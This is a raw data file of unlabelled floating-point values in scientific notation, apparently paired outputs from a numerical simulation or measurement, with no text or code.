1.3238e-05
6.20727e-08
1.32373e-05
4.13693e-08
1.32391e-05
4.92448e-08
1.32402e-05
1.67928e-08
1.32437e-05
1.88988e-08
1.32464e-05
-4.61058e-09
1.32484e-05
-3.06797e-08
1.325e-05
-2.40717e-08
1.32508e-05
-3.72538e-08
1.32546e-05
6.48461e-09
1.32585e-05
3.07516e-08
1.32579e-05
2.80243e-08
1.32629e-05
1.19381e-07
1.32688e-05
1.53453e-07
1.32725e-05
1.70379e-07
1.32728e-05
1.83605e-07
1.32694e-05
1.51538e-07
1.32654e-05
1.96086e-07
1.32689e-05
2.0624e-07
1.32758e-05
2.84174e-07
1.3276e-05
1.70403e-07
1.32684e-05
1.46132e-07
1.32585e-05
6.62119e-08
1.32506e-05
1.53362e-07
1.32435e-05
1.77811e-07
1.32412e-05
2.48868e-07
1.32418e-05
3.26865e-07
1.32371e-05
1.93936e-07
1.32309e-05
1.71356e-07
5.2652e-08
1.37773e-05
-1.28372e-08
1.37829e-05
-7.26498e-09
1.37885e-05
-2.82914e-10
1.37956e-05
6.3019e-09
1.38013e-05
1.29979e-08
1.38047e-05
1.34188e-08
1.38082e-05
1.10213e-08
1.38116e-05
1.04819e-08
1.38179e-05
1.4071e-08
1.38232e-05
2.55643e-08
1.38246e-05
2.72681e-08
1.38266e-05
2.43676e-08
1.38292e-05
2.35207e-08
1.38334e-05
2.70735e-08
1.38403e-05
3.96952e-08
1.38419e-05
5.34616e-08
1.38404e-05
4.65931e-08
1.3845e-05
4.3588e-08
1.38517e-05
5.85151e-08
1.38539e-05
7.27384e-08
1.38547e-05
7.46276e-08
1.38574e-05
7.48472e-08
1.38628e-05
7.97964e-08
1.38667e-05
9.07791e-08
1.38681e-05
9.79353e-08
1.38713e-05
9.94647e-08
1.38754e-05
1.03444e-07
1.38771e-05
1.07819e-07
1.38803e-05
1.11398e-07
1.38839e-05
1.19615e-07
1.38854e-05
1.23432e-07
1.38873e-05
1.21526e-07
1.3891e-05
1.23657e-07
1.38932e-05
1.35522e-07
1.38937e-05
1.33059e-07
1.3895e-05
1.33217e-07
1.38962e-05
1.32147e-07
1.38962e-05
1.42055e-07
1.38955e-05
1.37115e-07
1.38958e-05
1.41638e-07
1.38964e-05
1.42529e-07
1.38968e-05
1.4959e-07
1.38977e-05
1.47213e-07
1.38985e-05
1.47797e-07
1.38994e-05
1.45999e-07
1.38991e-05
1.42985e-07
1.3899e-05
1.36271e-07
1.38981e-05
1.36265e-07
1.38965e-05
1.27013e-07
1.38945e-05
1.28143e-07
1.38923e-05
1.15271e-07
1.38907e-05
1.25068e-07
1.38881e-05
1.14943e-07
1.38865e-05
1.21774e-07
1.38849e-05
1.18661e-07
1.38833e-05
1.22175e-07
1.38825e-05
1.30843e-07
1.38815e-05
1.23558e-07
1.38811e-05
1.36215e-07
1.3881e-05
1.24848e-07
1.38795e-05
1.29392e-07
1.38777e-05
1.06981e-07
1.38743e-05
1.11809e-07
1.38698e-05
8.47617e-08
1.38659e-05
1.01859e-07
1.38641e-05
9.20876e-08
1.38655e-05
1.17097e-07
1.38695e-05
1.10581e-07
1.38719e-05
1.0602e-07
1.3874e-05
8.47026e-08
1.38731e-05
6.29932e-08
1.38727e-05
4.17566e-08
1.38744e-05
4.7567e-08
1.38754e-05
1.57819e-08
1.38786e-05
1.57451e-08
1.3881e-05
-7.03174e-09
1.38826e-05
-3.23096e-08
1.38841e-05
-2.55382e-08
1.38846e-05
-3.77837e-08
1.3888e-05
3.1326e-09
1.38916e-05
2.71385e-08
1.38912e-05
2.84192e-08
1.38961e-05
1.14448e-07
1.39019e-05
1.47709e-07
1.39057e-05
1.66583e-07
1.39063e-05
1.83024e-07
1.39034e-05
1.54367e-07
1.39003e-05
1.99257e-07
1.39038e-05
2.02733e-07
1.39104e-05
2.7749e-07
1.39104e-05
1.70401e-07
1.39032e-05
1.5334e-07
1.38935e-05
7.59799e-08
1.38857e-05
1.61141e-07
1.38788e-05
1.84691e-07
1.38764e-05
2.51281e-07
1.38773e-05
3.25976e-07
1.38729e-05
1.98319e-07
1.38672e-05
1.77051e-07
5.22652e-08
1.44408e-05
-1.62328e-08
1.44457e-05
-1.22263e-08
1.4451e-05
-5.53296e-09
1.4457e-05
2.67624e-10
1.44631e-05
6.95005e-09
1.44669e-05
9.60513e-09
1.44701e-05
7.82298e-09
1.44731e-05
7.41151e-09
1.44782e-05
9.02632e-09
1.44845e-05
1.92605e-08
1.4487e-05
2.47878e-08
1.44883e-05
2.30551e-08
1.44907e-05
2.10655e-08
1.44939e-05
2.3882e-08
1.45006e-05
3.30341e-08
1.45048e-05
4.92925e-08
1.4503e-05
4.83558e-08
1.45049e-05
4.16669e-08
1.45122e-05
5.12314e-08
1.45163e-05
6.86865e-08
1.4517e-05
7.38479e-08
1.45184e-05
7.34792e-08
1.4523e-05
7.51826e-08
1.45285e-05
8.53142e-08
1.45303e-05
9.61347e-08
1.45318e-05
9.79521e-08
1.45364e-05
9.88253e-08
1.45392e-05
1.05005e-07
1.45415e-05
1.09153e-07
1.45452e-05
1.15879e-07
1.45475e-05
1.21185e-07
1.45488e-05
1.20208e-07
1.45523e-05
1.20141e-07
1.45552e-05
1.32642e-07
1.45556e-05
1.32596e-07
1.45567e-05
1.32109e-07
1.45583e-05
1.30631e-07
1.45587e-05
1.41568e-07
1.45582e-05
1.37664e-07
1.45586e-05
1.41191e-07
1.45596e-05
1.41618e-07
1.45601e-05
1.49064e-07
1.45609e-05
1.46395e-07
1.45617e-05
1.46998e-07
1.45627e-05
1.45009e-07
1.45625e-05
1.43197e-07
1.45624e-05
1.36359e-07
1.45616e-05
1.37015e-07
1.45602e-05
1.28411e-07
1.45584e-05
1.29975e-07
1.45564e-05
1.17309e-07
1.45549e-05
1.26579e-07
1.45524e-05
1.1737e-07
1.45508e-05
1.23409e-07
1.45493e-05
1.20166e-07
1.45478e-05
1.237e-07
1.4547e-05
1.31638e-07
1.45459e-05
1.24582e-07
1.45455e-05
1.36615e-07
1.45453e-05
1.2514e-07
1.45438e-05
1.3081e-07
1.45421e-05
1.08736e-07
1.4539e-05
1.14883e-07
1.4535e-05
8.88075e-08
1.45315e-05
1.05328e-07
1.453e-05
9.36163e-08
1.45312e-05
1.15872e-07
1.45348e-05
1.06955e-07
1.45371e-05
1.0372e-07
1.45393e-05
8.25257e-08
1.45387e-05
6.35757e-08
1.45386e-05
4.19055e-08
1.45401e-05
4.60078e-08
1.4541e-05
1.48646e-08
1.45439e-05
1.2884e-08
1.4546e-05
-9.11037e-09
1.45473e-05
-3.36319e-08
1.45485e-05
-2.67619e-08
1.45488e-05
-3.80951e-08
1.45517e-05
2.33094e-10
1.4555e-05
2.38569e-08
1.45547e-05
2.87045e-08
1.45596e-05
1.09555e-07
1.45651e-05
1.42192e-07
1.4569e-05
1.62723e-07
1.45699e-05
1.82092e-07
1.45677e-05
1.56615e-07
1.45653e-05
2.01641e-07
1.45688e-05
1.99234e-07
1.45753e-05
2.71008e-07
1.45751e-05
1.70564e-07
1.45683e-05
1.6019e-07
1.45587e-05
8.55526e-08
1.45511e-05
1.68733e-07
1.45445e-05
1.91292e-07
1.4542e-05
2.53776e-07
1.45432e-05
3.24826e-07
1.45391e-05
2.02359e-07
1.45339e-05
1.82231e-07
5.1863e-08
1.51364e-05
-1.904e-08
1.51406e-05
-1.64292e-08
1.51455e-05
-1.04145e-08
1.51507e-05
-4.9396e-09
1.51565e-05
1.11703e-09
1.51608e-05
5.32166e-09
1.5164e-05
4.6785e-09
1.51668e-05
4.54501e-09
1.51708e-05
5.06581e-09
1.5177e-05
1.30401e-08
1.51809e-05
2.09194e-08
1.51821e-05
2.18148e-08
1.51841e-05
1.90868e-08
1.51866e-05
2.13246e-08
1.51923e-05
2.74162e-08
1.51981e-05
4.34127e-08
1.51979e-05
4.85814e-08
1.51975e-05
4.20546e-08
1.52037e-05
4.50401e-08
1.52096e-05
6.2851e-08
1.52113e-05
7.21151e-08
1.52118e-05
7.29619e-08
1.52149e-05
7.21392e-08
1.52209e-05
7.9266e-08
1.52245e-05
9.25209e-08
1.52248e-05
9.76972e-08
1.52284e-05
9.51936e-08
1.52327e-05
1.00661e-07
1.52348e-05
1.07132e-07
1.52378e-05
1.12873e-07
1.52409e-05
1.18054e-07
1.52421e-05
1.18972e-07
1.52451e-05
1.17214e-07
1.52486e-05
1.29127e-07
1.52493e-05
1.3185e-07
1.52501e-05
1.31329e-07
1.52519e-05
1.28841e-07
1.52529e-05
1.40538e-07
1.52526e-05
1.38032e-07
1.5253e-05
1.40732e-07
1.52542e-05
1.40449e-07
1.5255e-05
1.48287e-07
1.52557e-05
1.45638e-07
1.52565e-05
1.46222e-07
1.52576e-05
1.43939e-07
1.52575e-05
1.43283e-07
1.52575e-05
1.36373e-07
1.52569e-05
1.37601e-07
1.52556e-05
1.29651e-07
1.5254e-05
1.31642e-07
1.52521e-05
1.19175e-07
1.52507e-05
1.27944e-07
1.52485e-05
1.19632e-07
1.52469e-05
1.25009e-07
1.52455e-05
1.21583e-07
1.5244e-05
1.25134e-07
1.52432e-05
1.3249e-07
1.52421e-05
1.2562e-07
1.52417e-05
1.37017e-07
1.52414e-05
1.25523e-07
1.524e-05
1.32143e-07
1.52384e-05
1.10405e-07
1.52356e-05
1.17675e-07
1.52319e-05
9.2425e-08
1.52289e-05
1.08381e-07
1.52276e-05
9.49204e-08
1.52287e-05
1.14761e-07
1.5232e-05
1.03632e-07
1.52342e-05
1.01496e-07
1.52364e-05
8.03636e-08
1.52361e-05
6.38552e-08
1.52362e-05
4.18183e-08
1.52377e-05
4.45576e-08
1.52385e-05
1.40294e-08
1.52411e-05
1.03214e-08
1.52428e-05
-1.08581e-08
1.52438e-05
-3.46468e-08
1.52448e-05
-2.77252e-08
1.52449e-05
-3.81622e-08
1.52473e-05
-2.18597e-09
1.52502e-05
2.09305e-08
1.525e-05
2.8915e-08
1.52548e-05
1.04734e-07
1.52601e-05
1.36907e-07
1.5264e-05
1.58818e-07
1.52653e-05
1.80814e-07
1.52636e-05
1.58295e-07
1.5262e-05
2.03256e-07
1.52655e-05
1.95752e-07
1.52718e-05
2.64715e-07
1.52715e-05
1.70863e-07
1.5265e-05
1.66676e-07
1.52557e-05
9.4868e-08
1.52483e-05
1.7613e-07
1.5242e-05
1.97565e-07
1.52394e-05
2.56321e-07
1.52409e-05
3.23411e-07
1.52372e-05
2.06009e-07
1.52326e-05
1.86891e-07
5.14468e-08
1.58656e-05
-2.14722e-08
1.58691e-05
-1.99381e-08
1.58735e-05
-1.48231e-08
1.58782e-05
-9.59834e-09
1.58835e-05
-4.1742e-09
1.5888e-05
7.9149e-10
1.58912e-05
1.47824e-09
1.5894e-05
1.73577e-09
1.58972e-05
1.87011e-09
1.59025e-05
7.68867e-09
1.59075e-05
1.59284e-08
1.59094e-05
1.99842e-08
1.59109e-05
1.75613e-08
1.5913e-05
1.91598e-08
1.59173e-05
2.31315e-08
1.59238e-05
3.69735e-08
1.59259e-05
4.64545e-08
1.59245e-05
4.34679e-08
1.59283e-05
4.11952e-08
1.59352e-05
5.60237e-08
1.59385e-05
6.87807e-08
1.59389e-05
7.25396e-08
1.59405e-05
7.05676e-08
1.59457e-05
7.40552e-08
1.59513e-05
8.69155e-08
1.59519e-05
9.70607e-08
1.59534e-05
9.371e-08
1.59585e-05
9.55448e-08
1.59617e-05
1.03957e-07
1.59637e-05
1.10924e-07
1.5967e-05
1.14697e-07
1.59689e-05
1.17131e-07
1.59711e-05
1.15015e-07
1.59748e-05
1.2538e-07
1.59762e-05
1.30413e-07
1.59767e-05
1.30838e-07
1.59786e-05
1.27025e-07
1.59801e-05
1.38949e-07
1.598e-05
1.38161e-07
1.59805e-05
1.40263e-07
1.59819e-05
1.39071e-07
1.59829e-05
1.47214e-07
1.59837e-05
1.44864e-07
1.59844e-05
1.45485e-07
1.59856e-05
1.42785e-07
1.59856e-05
1.43233e-07
1.59857e-05
1.3633e-07
1.59853e-05
1.38007e-07
1.59842e-05
1.30706e-07
1.59827e-05
1.33149e-07
1.59811e-05
1.20837e-07
1.59799e-05
1.29141e-07
1.59778e-05
1.21731e-07
1.59762e-05
1.26556e-07
1.59749e-05
1.22935e-07
1.59735e-05
1.26465e-07
1.59727e-05
1.33343e-07
1.59717e-05
1.26647e-07
1.59713e-05
1.37401e-07
1.59708e-05
1.2598e-07
1.59696e-05
1.33401e-07
1.5968e-05
1.11979e-07
1.59655e-05
1.20191e-07
1.59623e-05
9.56203e-08
1.59596e-05
1.11021e-07
1.59585e-05
9.60076e-08
1.59596e-05
1.13752e-07
1.59626e-05
1.00585e-07
1.59648e-05
9.93377e-08
1.59669e-05
7.82103e-08
1.59669e-05
6.38622e-08
1.59672e-05
4.15163e-08
1.59686e-05
4.32068e-08
1.59693e-05
1.32681e-08
1.59716e-05
8.05289e-09
1.5973e-05
-1.22832e-08
1.59737e-05
-3.53526e-08
1.59744e-05
-2.83996e-08
1.59742e-05
-3.79736e-08
1.59761e-05
-4.1296e-09
1.59787e-05
1.8371e-08
1.59785e-05
2.91079e-08
1.59832e-05
1.00036e-07
1.59883e-05
1.31851e-07
1.59922e-05
1.54879e-07
1.59938e-05
1.7919e-07
1.59927e-05
1.59437e-07
1.59918e-05
2.04131e-07
1.59953e-05
1.92307e-07
1.60014e-05
2.58601e-07
1.6001e-05
1.71251e-07
1.59949e-05
1.7279e-07
1.59859e-05
1.03859e-07
1.59787e-05
1.8332e-07
1.59728e-05
2.03471e-07
1.59702e-05
2.58867e-07
1.59719e-05
3.21731e-07
1.59687e-05
2.09233e-07
1.59646e-05
1.91026e-07
5.10228e-08
1.66299e-05
-2.36926e-08
1.66327e-05
-2.27086e-08
1.66366e-05
-1.87485e-08
1.66407e-05
-1.36863e-08
1.66454e-05
-8.9185e-09
1.665e-05
-3.75433e-09
1.66533e-05
-1.85436e-09
1.66561e-05
-1.07403e-09
1.66589e-05
-9.10866e-10
1.66632e-05
3.38993e-09
1.66686e-05
1.05797e-08
1.66713e-05
1.72449e-08
1.66728e-05
1.60929e-08
1.66745e-05
1.73837e-08
1.66777e-05
1.99942e-08
1.66837e-05
3.09859e-08
1.66878e-05
4.23535e-08
1.6687e-05
4.42719e-08
1.66885e-05
3.96502e-08
1.66948e-05
4.96862e-08
1.66998e-05
6.38128e-08
1.6701e-05
7.13373e-08
1.67017e-05
6.98984e-08
1.67052e-05
7.05476e-08
1.67117e-05
8.04114e-08
1.67144e-05
9.43758e-08
1.67141e-05
9.39365e-08
1.67182e-05
9.15287e-08
1.67232e-05
9.89184e-08
1.67249e-05
1.09202e-07
1.67275e-05
1.12161e-07
1.67301e-05
1.14448e-07
1.67321e-05
1.1302e-07
1.67356e-05
1.21962e-07
1.67378e-05
1.2817e-07
1.67382e-05
1.30414e-07
1.67398e-05
1.25453e-07
1.6742e-05
1.36718e-07
1.67423e-05
1.37909e-07
1.67427e-05
1.39882e-07
1.67442e-05
1.37573e-07
1.67455e-05
1.45829e-07
1.67464e-05
1.43989e-07
1.67471e-05
1.44781e-07
1.67483e-05
1.41565e-07
1.67486e-05
1.43007e-07
1.67487e-05
1.3621e-07
1.67485e-05
1.38217e-07
1.67476e-05
1.31552e-07
1.67463e-05
1.34519e-07
1.67448e-05
1.22296e-07
1.67438e-05
1.30149e-07
1.67418e-05
1.23683e-07
1.67404e-05
1.28023e-07
1.67391e-05
1.24176e-07
1.67379e-05
1.27662e-07
1.67371e-05
1.34162e-07
1.67361e-05
1.27682e-07
1.67357e-05
1.37784e-07
1.67352e-05
1.26475e-07
1.6734e-05
1.34572e-07
1.67326e-05
1.13432e-07
1.67303e-05
1.22428e-07
1.67275e-05
9.84152e-08
1.67253e-05
1.13287e-07
1.67244e-05
9.68842e-08
1.67253e-05
1.12815e-07
1.67282e-05
9.77775e-08
1.67302e-05
9.72506e-08
1.67324e-05
7.60717e-08
1.67326e-05
6.36249e-08
1.67331e-05
4.10215e-08
1.67344e-05
4.19504e-08
1.67351e-05
1.25799e-08
1.6737e-05
6.06576e-09
1.67382e-05
-1.3396e-08
1.67386e-05
-3.57639e-08
1.67389e-05
-2.87663e-08
1.67385e-05
-3.75203e-08
1.67399e-05
-5.59281e-09
1.67421e-05
1.61805e-08
1.67419e-05
2.93151e-08
1.67464e-05
9.55104e-08
1.67513e-05
1.27045e-07
1.67552e-05
1.50943e-07
1.67572e-05
1.77218e-07
1.67565e-05
1.60065e-07
1.67564e-05
2.04295e-07
1.67598e-05
1.88908e-07
1.67657e-05
2.52665e-07
1.67653e-05
1.71685e-07
1.67595e-05
1.78537e-07
1.67509e-05
1.12458e-07
1.6744e-05
1.90279e-07
1.67385e-05
2.08979e-07
1.6736e-05
2.61356e-07
1.67379e-05
3.19801e-07
1.67351e-05
2.11993e-07
1.67315e-05
1.9463e-07
5.06017e-08
1.74308e-05
-2.58496e-08
1.7433e-05
-2.48277e-08
1.74363e-05
-2.21277e-08
1.74401e-05
-1.74471e-08
1.74442e-05
-1.29755e-08
1.74486e-05
-8.17902e-09
1.7452e-05
-5.311e-09
1.74548e-05
-3.79785e-09
1.74574e-05
-3.51899e-09
1.74607e-05
3.62837e-11
1.74658e-05
5.5449e-09
1.74694e-05
1.36378e-08
1.74711e-05
1.4361e-08
1.74727e-05
1.57677e-08
1.7475e-05
1.76828e-08
1.74799e-05
2.60757e-08
1.74851e-05
3.71485e-08
1.74859e-05
4.34971e-08
1.74861e-05
3.94287e-08
1.74907e-05
4.51153e-08
1.74968e-05
5.77605e-08
1.74994e-05
6.87164e-08
1.74998e-05
6.94876e-08
1.75018e-05
6.85872e-08
1.75076e-05
7.45321e-08
1.75126e-05
8.94265e-08
1.75125e-05
9.40342e-08
1.7514e-05
9.00158e-08
1.75201e-05
9.28293e-08
1.75232e-05
1.06102e-07
1.75245e-05
1.10868e-07
1.75273e-05
1.11613e-07
1.75299e-05
1.10462e-07
1.75327e-05
1.19131e-07
1.75354e-05
1.2543e-07
1.75363e-05
1.29528e-07
1.75375e-05
1.24328e-07
1.75401e-05
1.34111e-07
1.75409e-05
1.3705e-07
1.75412e-05
1.39599e-07
1.75427e-05
1.36044e-07
1.75445e-05
1.44082e-07
1.75455e-05
1.42975e-07
1.75462e-05
1.44096e-07
1.75475e-05
1.40286e-07
1.75479e-05
1.42571e-07
1.75481e-05
1.35988e-07
1.75481e-05
1.38244e-07
1.75475e-05
1.32156e-07
1.75462e-05
1.35762e-07
1.75449e-05
1.23602e-07
1.75442e-05
1.30892e-07
1.75424e-05
1.25444e-07
1.75411e-05
1.29398e-07
1.75399e-05
1.2529e-07
1.75389e-05
1.28748e-07
1.75381e-05
1.34937e-07
1.75371e-05
1.28684e-07
1.75367e-05
1.38143e-07
1.75362e-05
1.2697e-07
1.75352e-05
1.35648e-07
1.75338e-05
1.14752e-07
1.75319e-05
1.24408e-07
1.75294e-05
1.00834e-07
1.75275e-05
1.15176e-07
1.75269e-05
9.75642e-08
1.75277e-05
1.11946e-07
1.75303e-05
9.51832e-08
1.75323e-05
9.52307e-08
1.75345e-05
7.39654e-08
1.75349e-05
6.3168e-08
1.75356e-05
4.03646e-08
1.75368e-05
4.07666e-08
1.75374e-05
1.1965e-08
1.75391e-05
4.35954e-09
1.75399e-05
-1.41964e-08
1.754e-05
-3.5908e-08
1.75401e-05
-2.88135e-08
1.75393e-05
-3.67983e-08
1.75403e-05
-6.58156e-09
1.75421e-05
1.43767e-08
1.75419e-05
2.95677e-08
1.75462e-05
9.11976e-08
1.75508e-05
1.22474e-07
1.75547e-05
1.47055e-07
1.7557e-05
1.74919e-07
1.75568e-05
1.60221e-07
1.75573e-05
2.03787e-07
1.75607e-05
1.8555e-07
1.75664e-05
2.46906e-07
1.7566e-05
1.72102e-07
1.75606e-05
1.83914e-07
1.75525e-05
1.20603e-07
1.75458e-05
1.96973e-07
1.75407e-05
2.14068e-07
1.75383e-05
2.63713e-07
1.75405e-05
3.17635e-07
1.75382e-05
2.14258e-07
1.75352e-05
1.97695e-07
5.02005e-08
1.82701e-05
-2.79241e-08
1.82718e-05
-2.65988e-08
1.82745e-05
-2.47428e-08
1.8278e-05
-2.09473e-08
1.82815e-05
-1.64773e-08
1.82854e-05
-1.21471e-08
1.8289e-05
-8.89922e-09
1.82916e-05
-6.39597e-09
1.82942e-05
-6.07154e-09
1.82969e-05
-2.70512e-09
1.83012e-05
1.23377e-09
1.83054e-05
9.47967e-09
1.83075e-05
1.22349e-08
1.83092e-05
1.4031e-08
1.83111e-05
1.58558e-08
1.83147e-05
2.24167e-08
1.83201e-05
3.17207e-08
1.83225e-05
4.11883e-08
1.83226e-05
3.92603e-08
1.83253e-05
4.24441e-08
1.83312e-05
5.18675e-08
1.83354e-05
6.45414e-08
1.83362e-05
6.86408e-08
1.83372e-05
6.7574e-08
1.83416e-05
7.01324e-08
1.83476e-05
8.34177e-08
1.83496e-05
9.20575e-08
1.8349e-05
9.05893e-08
1.8354e-05
8.78743e-08
1.83594e-05
1.00682e-07
1.83604e-05
1.09875e-07
1.83621e-05
1.09873e-07
1.83656e-05
1.07029e-07
1.83683e-05
1.1636e-07
1.83709e-05
1.22841e-07
1.83725e-05
1.27944e-07
1.83734e-05
1.23465e-07
1.8376e-05
1.31525e-07
1.83777e-05
1.35369e-07
1.8378e-05
1.39254e-07
1.83793e-05
1.34748e-07
1.83814e-05
1.41942e-07
1.83827e-05
1.41688e-07
1.83834e-05
1.43425e-07
1.83847e-05
1.38976e-07
1.83853e-05
1.4194e-07
1.83857e-05
1.3565e-07
1.83858e-05
1.38111e-07
1.83855e-05
1.32477e-07
1.83845e-05
1.36777e-07
1.83833e-05
1.24772e-07
1.83828e-05
1.31351e-07
1.83813e-05
1.26995e-07
1.83799e-05
1.30738e-07
1.8379e-05
1.26271e-07
1.83781e-05
1.2966e-07
1.83774e-05
1.3563e-07
1.83764e-05
1.29611e-07
1.83761e-05
1.38474e-07
1.83756e-05
1.27448e-07
1.83746e-05
1.36632e-07
1.83735e-05
1.15913e-07
1.83718e-05
1.26113e-07
1.83697e-05
1.02912e-07
1.83682e-05
1.16718e-07
1.83677e-05
9.80607e-08
1.83685e-05
1.11124e-07
1.83709e-05
9.27758e-08
1.83728e-05
9.32724e-08
1.83749e-05
7.19162e-08
1.83755e-05
6.25148e-08
1.83763e-05
3.95947e-08
1.83774e-05
3.96511e-08
1.8378e-05
1.14251e-08
1.83794e-05
2.90641e-09
1.83799e-05
-1.46875e-08
1.83798e-05
-3.57854e-08
1.83795e-05
-2.85312e-08
1.83785e-05
-3.58119e-08
1.83791e-05
-7.12842e-09
1.83805e-05
1.29655e-08
1.83802e-05
2.9892e-08
1.83842e-05
8.71659e-08
1.83885e-05
1.18143e-07
1.83923e-05
1.43243e-07
1.8395e-05
1.72291e-07
1.83952e-05
1.59936e-07
1.83964e-05
2.02679e-07
1.83997e-05
1.82233e-07
1.84052e-05
2.41343e-07
1.84049e-05
1.72433e-07
1.83999e-05
1.8891e-07
1.83923e-05
1.28238e-07
1.83859e-05
2.03344e-07
1.83812e-05
2.18725e-07
1.83791e-05
2.65857e-07
1.83815e-05
3.15244e-07
1.83797e-05
2.16012e-07
1.83772e-05
2.00212e-07
4.98405e-08
1.91493e-05
-2.97514e-08
1.9151e-05
-2.82376e-08
1.91529e-05
-2.66397e-08
1.91559e-05
-2.39202e-08
1.91591e-05
-1.97455e-08
1.91624e-05
-1.5462e-08
1.9166e-05
-1.2496e-08
1.91686e-05
-8.97995e-09
1.9171e-05
-8.48776e-09
1.91735e-05
-5.18664e-09
1.91768e-05
-2.09801e-09
1.91812e-05
5.13982e-09
1.91837e-05
9.67982e-09
1.91856e-05
1.21725e-08
1.91874e-05
1.40455e-08
1.919e-05
1.98507e-08
1.9195e-05
2.67296e-08
1.91983e-05
3.78325e-08
1.91992e-05
3.83947e-08
1.92008e-05
4.08631e-08
1.92053e-05
4.73005e-08
1.92106e-05
5.927e-08
1.92126e-05
6.66737e-08
1.92131e-05
6.70517e-08
1.92162e-05
6.70229e-08
1.92218e-05
7.78747e-08
1.92261e-05
8.7746e-08
1.92254e-05
9.12122e-08
1.92276e-05
8.57495e-08
1.92344e-05
9.3805e-08
1.92371e-05
1.07265e-07
1.92371e-05
1.0982e-07
1.92406e-05
1.0352e-07
1.92442e-05
1.12765e-07
1.92464e-05
1.20692e-07
1.92484e-05
1.25914e-07
1.92496e-05
1.22292e-07
1.92518e-05
1.29338e-07
1.9254e-05
1.33077e-07
1.92549e-05
1.38437e-07
1.92558e-05
1.33857e-07
1.92581e-05
1.3958e-07
1.92599e-05
1.39935e-07
1.92605e-05
1.42756e-07
1.92618e-05
1.37677e-07
1.92627e-05
1.41041e-07
1.92633e-05
1.35127e-07
1.92635e-05
1.37824e-07
1.92635e-05
1.3255e-07
1.92627e-05
1.37536e-07
1.92616e-05
1.25875e-07
1.92614e-05
1.31561e-07
1.92602e-05
1.28223e-07
1.92589e-05
1.31974e-07
1.92581e-05
1.27102e-07
1.92574e-05
1.30363e-07
1.92568e-05
1.36258e-07
1.92559e-05
1.30469e-07
1.92556e-05
1.38741e-07
1.92552e-05
1.27868e-07
1.92544e-05
1.37507e-07
1.92534e-05
1.16901e-07
1.92519e-05
1.2754e-07
1.92502e-05
1.04689e-07
1.9249e-05
1.17919e-07
1.92486e-05
9.83858e-08
1.92494e-05
1.10343e-07
1.92516e-05
9.05473e-08
1.92535e-05
9.13651e-08
1.92555e-05
6.99596e-08
1.92563e-05
6.16875e-08
1.92572e-05
3.87469e-08
1.92582e-05
3.85881e-08
1.92587e-05
1.09808e-08
1.92599e-05
1.71211e-09
1.92601e-05
-1.48798e-08
1.92597e-05
-3.5431e-08
1.92591e-05
-2.79299e-08
1.92578e-05
-3.45402e-08
1.9258e-05
-7.25085e-09
1.9259e-05
1.19706e-08
1.92586e-05
3.02747e-08
1.92623e-05
8.34513e-08
1.92664e-05
1.14044e-07
1.92701e-05
1.39574e-07
1.9273e-05
1.69397e-07
1.92737e-05
1.59229e-07
1.92753e-05
2.01024e-07
1.92786e-05
1.78911e-07
1.9284e-05
2.36002e-07
1.92838e-05
1.72631e-07
1.92792e-05
1.93512e-07
1.92721e-05
1.35323e-07
1.92661e-05
2.09315e-07
1.92619e-05
2.22945e-07
1.92601e-05
2.67693e-07
1.92627e-05
3.1263e-07
1.92615e-05
2.17247e-07
1.92595e-05
2.02175e-07
4.95455e-08
2.00706e-05
-3.13374e-08
2.00721e-05
-2.97009e-08
2.00736e-05
-2.81512e-08
2.00758e-05
-2.61075e-08
2.00789e-05
-2.2859e-08
2.00817e-05
-1.82608e-08
2.0085e-05
-1.57549e-08
2.00877e-05
-1.1696e-08
2.00898e-05
-1.06379e-08
2.00922e-05
-7.59022e-09
2.00948e-05
-4.66933e-09
2.00988e-05
1.15229e-09
2.01019e-05
6.61135e-09
2.01037e-05
1.03206e-08
2.01058e-05
1.1985e-08
2.01077e-05
1.79612e-08
2.01118e-05
2.26328e-08
2.01157e-05
3.38967e-08
2.01173e-05
3.68175e-08
2.01187e-05
3.94211e-08
2.01218e-05
4.42337e-08
2.0127e-05
5.40158e-08
2.01305e-05
6.3192e-08
2.0131e-05
6.66128e-08
2.01333e-05
6.4733e-08
2.01377e-05
7.34523e-08
2.0143e-05
8.24368e-08
2.01444e-05
8.9777e-08
2.01441e-05
8.60663e-08
2.015e-05
8.78982e-08
2.01555e-05
1.01798e-07
2.01548e-05
1.10461e-07
2.01569e-05
1.01461e-07
2.01618e-05
1.07903e-07
2.0164e-05
1.1842e-07
2.01658e-05
1.24184e-07
2.01676e-05
1.20498e-07
2.01695e-05
1.27383e-07
2.01719e-05
1.30656e-07
2.01736e-05
1.36746e-07
2.01743e-05
1.33223e-07
2.01764e-05
1.37435e-07
2.01788e-05
1.3758e-07
2.01796e-05
1.41897e-07
2.01808e-05
1.36529e-07
2.01819e-05
1.39879e-07
2.01827e-05
1.34371e-07
2.01831e-05
1.37373e-07
2.01833e-05
1.32381e-07
2.01829e-05
1.37987e-07
2.01819e-05
1.26838e-07
2.01819e-05
1.31541e-07
2.0181e-05
1.29107e-07
2.01799e-05
1.33091e-07
2.01792e-05
1.27853e-07
2.01787e-05
1.30825e-07
2.01782e-05
1.36741e-07
2.01775e-05
1.31224e-07
2.01773e-05
1.38902e-07
2.0177e-05
1.28185e-07
2.01762e-05
1.38281e-07
2.01754e-05
1.17734e-07
2.01743e-05
1.28653e-07
2.01728e-05
1.06192e-07
2.01719e-05
1.18802e-07
2.01717e-05
9.85634e-08
2.01725e-05
1.0957e-07
2.01745e-05
8.84989e-08
2.01764e-05
8.94886e-08
2.01782e-05
6.81342e-08
2.01792e-05
6.07174e-08
2.01801e-05
3.78778e-08
2.01811e-05
3.75737e-08
2.01814e-05
1.06343e-08
2.01824e-05
7.57087e-10
2.01823e-05
-1.47779e-08
2.01817e-05
-3.48186e-08
2.01808e-05
-2.70325e-08
2.01792e-05
-3.29754e-08
2.0179e-05
-7.01862e-09
2.01795e-05
1.14213e-08
2.01791e-05
3.07328e-08
2.01824e-05
8.01156e-08
2.01863e-05
1.10172e-07
2.01898e-05
1.36037e-07
2.01929e-05
1.66278e-07
2.0194e-05
1.58137e-07
2.01961e-05
1.98947e-07
2.01994e-05
1.75567e-07
2.02046e-05
2.30882e-07
2.02046e-05
1.72631e-07
2.02004e-05
1.97668e-07
2.01939e-05
1.41842e-07
2.01884e-05
2.148e-07
2.01846e-05
2.26733e-07
2.01832e-05
2.69133e-07
2.0186e-05
3.09765e-07
2.01853e-05
2.17966e-07
2.01839e-05
2.03581e-07
4.93424e-08
2.1036e-05
-3.27906e-08
2.10372e-05
-3.08897e-08
2.10386e-05
-2.95516e-08
2.104e-05
-2.7554e-08
2.10426e-05
-2.54694e-08
2.10452e-05
-2.08818e-08
